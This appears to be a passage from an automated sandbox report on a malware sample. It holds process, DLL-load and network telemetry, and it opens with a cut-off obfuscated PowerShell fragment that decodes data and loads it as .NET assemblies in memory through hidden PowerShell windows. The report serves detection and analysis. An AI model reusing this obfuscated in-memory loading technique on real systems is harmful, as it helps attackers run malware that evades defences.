([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 49707

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
